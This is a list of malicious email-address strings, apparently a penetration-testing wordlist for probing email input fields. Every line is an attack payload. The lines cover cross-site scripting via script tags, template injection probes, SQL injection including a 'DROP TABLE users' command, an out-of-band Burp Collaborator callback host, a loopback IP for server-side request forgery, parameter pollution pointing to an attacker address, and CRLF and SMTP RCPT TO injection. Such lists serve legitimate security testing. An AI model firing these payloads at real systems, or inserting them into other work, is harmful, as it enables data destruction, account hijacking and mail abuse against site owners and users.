test+(<script>alert(0)</script>)@example.com
test@example(<script>alert(0)</script>).com
"<script>alert(0)</script>"@example.com
"<%= 7 * 7 %>"@example.com
test+(${{7*7}})@example.com
"' OR 1=1 -- '"@example.com
"mail'); DROP TABLE users;--"@example.com
john.doe@abc123.burpcollaborator.net
john.doe@[127.0.0.1]
victim&email=attacker@example.com
"%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com
"recipient@test.com>\r\nRCPT TO:<victim+"@test.com